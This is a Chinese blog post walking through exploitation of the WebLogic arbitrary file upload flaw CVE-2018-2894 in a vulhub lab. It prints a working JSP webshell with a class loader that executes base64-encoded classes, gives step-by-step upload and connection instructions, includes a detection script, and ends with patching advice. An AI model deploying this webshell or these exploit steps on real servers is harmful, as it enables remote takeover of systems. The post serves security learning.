Weblogic 任意文件上传漏洞(CVE-2018-2894)
乐队1 2024-08-23 09:03:02 阅读 72
1 漏洞描述
CVE-2018-2894漏洞存在于Oracle WebLogic Server的Web服务测试页面(Web Service Test Page)中。这个页面允许用户测试Web服务的功能,但在某些版本中,它包含了一个未经授权的文件上传功能。攻击者可以利用这个漏洞,上传恶意的JSP或其他可执行文件,并在服务器上执行这些文件,从而获得服务器的完全控制权。
受影响的WebLogic Server版本包括10.3.6.0、12.1.3.0、12.2.1.2和12.2.1.3。漏洞影响的页面路径为<code>/ws_utc/begin.do和/ws_utc/config.do
。
2 漏洞原理
攻击者首先通过访问/ws_utc/config.do
页面,更改工作目录,将存储JKS Keystores的文件目录替换为有效的WebLogic Web路径。然后,攻击者可以上传恶意的JSP脚本文件到该路径。一旦文件上传成功,攻击者就可以通过访问最终的JSP文件路径地址来执行代码。
3 vulhub靶场漏洞
进入漏洞文件
cd vulhub/weblogic
启动漏洞环境
docker compose up -d
查看端口
docker-compose ps
访问 ,您将看到页面,表示环境正在成功运行。
4 漏洞复现
扫描这个7001weblogic漏洞端口下有什么目录,发现存在/console/、/bea_wls_internal/目录
执行<code>docker compose logs | grep password可查看管理员密码,管理员用户名为weblogiccode>。
得到账户为weblogic 密码为XwufFm4T
这里我们需要访问一个任意上传jsp文件漏洞功能点的目录位置,扫描目录的时候没有扫出来,但是你上网搜素这个CVE-2018-2894都是可以找到这个目录名字的,/ws_utc/config.do(未授权访问)
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,所以我们想要利用这个任意jsp文件上传漏洞,需要手动在刚才的登录进去的页面里面把一个web服务开启,然后才可以利用。
第一步 点击base_domain,后点击这个高级
第二步 把这个web服务勾上,然后再点击保存
第三步 修改ws_utc/config.do下的当前的工作目录
/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir
改为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
第四步 利用中国蚁剑生成jsp木马文件
网上找的jsp木马文件,但是蚁剑生成shell不知道什么原因链接不到
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("fafa");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
第五步 保存为shell.jsp文件
第六步 上传shell.jsp木马文件
第七步 利用bp抓包,然后找到这个上传文件的时间戳,如果有好多个,那么就取最后一个时间戳,然后这个jsp木马上传的位置目录如下,
http://192.168.135.132:7001/ws_utc/css/config/keystore/1715590670525_shell.jsp
第八步 用中国蚁剑链接
5 使用python脚本探测漏洞
下面是对给定代码添加注释的版本:
python
import requests # 导入requests库,用于发送HTTP请求
# 定义两个目标URL,这两个URL可能是存在安全漏洞的Web服务的API接口
url1 = 'http://192.168.135.132:7001/ws_utc/config.do'
url2 = 'http://192.168.135.132:7001/ws_utc/begin.do'
def poc():
# 定义HTTP请求的头部信息
headers = {
'Content-Type':'text/html; charset=UTF-8', # 设置内容类型为HTML,并指定字符集为UTF-8(尽管是GET请求,但此头部信息可能不是必需的)
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0' # 伪造的User-Agent,模拟常见的浏览器行为
}
# 发送GET请求到url1
res1 = requests.get(url1,headers=headers)
# 发送GET请求到url2
res2 = requests.get(url2,headers=headers)
# 检查两个请求的响应状态码是否都是200(表示请求成功)
if res1.status_code == 200 and res2.status_code == 200:
# 如果都是200,则打印出存在某个CVE(可能是CVE-2018-2894,但注释中未明确指定)的消息
print("存在CVE-2018-2894(或其他未指定的安全漏洞)")
else:
# 如果不是,则打印出不存在此漏洞的消息
print("不存在此漏洞")
# 当这个脚本作为主程序运行时,执行poc函数
if __name__ == "__main__":
poc()
结果
6 修复建议
为了修复这个漏洞,你可以采取以下措施:
升级到Oracle WebLogic Server的最新版本。新版本已经修复了这个漏洞。
如果无法立即升级,你可以通过配置WebLogic Server来限制对<code>/ws_utc/begin.do和/ws_utc/config.do
页面的访问。你可以要求用户进行身份验证才能访问这些页面,或者完全禁用这些页面。
使用IPS(入侵防御系统)等安全设备来监控和阻止针对这个漏洞的攻击。这些设备可以检测并阻止恶意文件上传和远程代码执行的行为。
定期审查你的WebLogic Server的安全配置和补丁更新情况,确保你的系统始终保持最新的安全状态。
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。